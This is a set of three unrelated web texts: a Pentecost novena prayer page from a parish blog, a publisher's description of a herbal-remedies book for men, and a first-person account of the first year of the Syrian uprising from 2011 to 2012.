For reflection: Jesus is praying for his disciples here... We are his disciples and he prays for us, too. What might Jesus be praying for the Church these days? What might he be praying today for me as an individual? Might I ask the Holy Spirit to help me discern what Jesus asks of the Father for me? What Jesus prays for the Church today?
Today's Intention
Today's Intention
Let us pray today for those who make law and govern nations...
May the Holy Spirit speak God's truth in the minds and hearts of lawmakers everywhere. May the Spirit shape and guide the decisions of those who govern nations and lead them to work for a harvest of justice and peace...
May the Holy Spirit speak God's truth in the minds and hearts of lawmakers everywhere. May the Spirit shape and guide the decisions of those who govern nations and lead them to work for a harvest of justice and peace...
Novena Prayer
Come, Holy Spirit,
once more fill my heart
with the fire and power of your gifts.
Come, Holy Spirit,
fill up wisdom's lamp,
come enlighten my mind and my will.
Come, Holy Spirit,
light the way: help me see and embrace
all that God has revealed.
Come, Holy Spirit:
with knowledge of truth,
brand my mind and my heart with God's Word.
Come, Holy Spirit,
my beacon of counsel
for judgments both prudent and pure.
Come, Holy Spirit
and kindle my courage
to do what is right, what is just.
Come, Holy Spirit
and stoke my desire
to humble myself before God.
Come, Holy Spirit,
light the flame of your presence
and draw me to reverence and prayer.
Come, Holy Spirit,
fill my heart with your gifts
and my soul with the breath of your peace.
Postlude: You might close your time of prayer with another song from the menu on the sidebar...
Pentecost Novena 2011 Daily
Subscribe to A Concord Pastor Comments
Come, Holy Spirit,
to the Father's love draw me
through my, Savior, my Lord Jesus Christ.
Pentecost Novena 2011 Daily
Subscribe to A Concord Pastor Comments


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- Author: Rosemary Gladstar
- Paperback
- 225 pages
- Storey Publishing, LLC 2017
Best-selling author Rosemary Gladstar, long known for her outstanding recipes, now customizes her expertise for men. Dozens of delicious and simple formulas address men's most common health concerns — including sexual vitality, prostate well-being, and heart health.
An A-to-Z compendium of these ailments details how to effectively treat them using a variety of safe and easy natural remedies. In-depth profiles of 29 herbs explain how men will benefit from each and suggest uses and accessible preparation tips.
This handy guidebook for men — and the women who love them — provides a helpful introduction to this crucial, but often overlooked, aspect of natural wellness.


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365 Days That Changed Syria Forever
One year ago, demonstrations were still called unprecedented. One year ago, the country was silent. One year ago, Syria found its voice.
I was sitting in Rawda Cafe, opposite parliament on February 4, the day a protest was called on Facebook. It turned out to have been called by a Swedish member of the Muslim Brotherhood. No-one turned out. The place was crawling with men in black leather jackets (inside the cafe and outside).
In March a small, brave group marched through Souq Al-Hamidiyeh chanting slogans and recording the whole thing on their mobile phones. Still, we said, nothing more would happen. And it might not have, if a group of children hadn't been arrested and beaten in Deraa in the south of Syria.
They had scrawled revolutionary graffiti on the walls. Children with pens were considered enough of a threat to the state to justify detention and torture. The trouble was, these arrests hit right at the heart of a massive fault line: the kids were from big tribal families in Deraa, and the head of political security was the president's cousin. This was the tribes against the Assads.
And so it begun. The families called for the kids' release, they were reportedly insulted and kicked out of the office. Protests ensued. Killings followed. A siege began.
By the end of March, the deaths had started mounting. At the start of April, people stayed awake all night, listening to news of the storming of Al-Omari mosque where rebels had been holed up. Dozens were feared dead. It was the darkest moment in Syria's history for decades.
People came out in their thousands across Syria calling for an end to the killing. Every Friday the numbers would swell. Peaceful demonstrators would be shot dead across the country. They called for the reform of the regime. But never for its overthrow.
The president spoke. He promised many things but didn't deliver. Hopes were dashed. The death toll started to fall in April, and there were hopes that this would be a short lived episode. A convulsion. The much-hated State of Emergency was lifted but the arrests continued.
Bashar spoke again in late April, and expectation was high. It was called Bashar's redemption speech. Many hoped that this would be the moment that he would give people what they wanted: reform.
Instead, it was filled with rhetoric about foreign conspiracy. It offered nothing new. The people began to demand the fall of the regime. The US toughened its rhetoric, telling Bashar that time was running out. It imposed sanctions on him personally for the first time.
May came, and the Friday death toll grew week by week. The army entered Homs.
In June, the army attacked the small border town of Jisr Al-Shughour. More than 100 soldiers were reported killed – the army's biggest single loss of life in living memory. Around 10,000 people fled across the border into refugee camps in Turkey. Syria's biggest mass exodus since the Israeli invasion of the Syrian Golan Heights.
In July as the holy month of Ramadan began, Hama was attacked, bringing back memories of 1982. The US called for Bashar to step down, and US and Turkish-backed opposition activists met in Istanbul.
The siege continued for most of Ramadan. And by the end of the month, there were the first tentative calls for foreign military intervention from some Syrians. There were reports of rebels taking up arms.
The Syrian National Council was formed in October, and the Arab League kicked out Syria in November.
Arab League monitors entered Syria in late December and the first suicide bomb hit Damascus. Another would explode a few weeks later, with a third in Aleppo in February.
Syria spent February watching the Free Syrian Army hold Baba Amr, a district of Homs, as the neighbourhood was besieged by the regular army. Thousands fled, many to nearby Lebanon. 2 foreign journalists were killed.
The army defeated the rebels, but the Red Cross was prevented from entering after fighting ceased. Activists say that was to allow soldiers to carry out summary executions of men and boys found hiding in the neighbourhood.
Syria has changed. The high hopes of March 2011 have turned into the despair of March 2012. Syria will not be at peace with itself until the regime falls.
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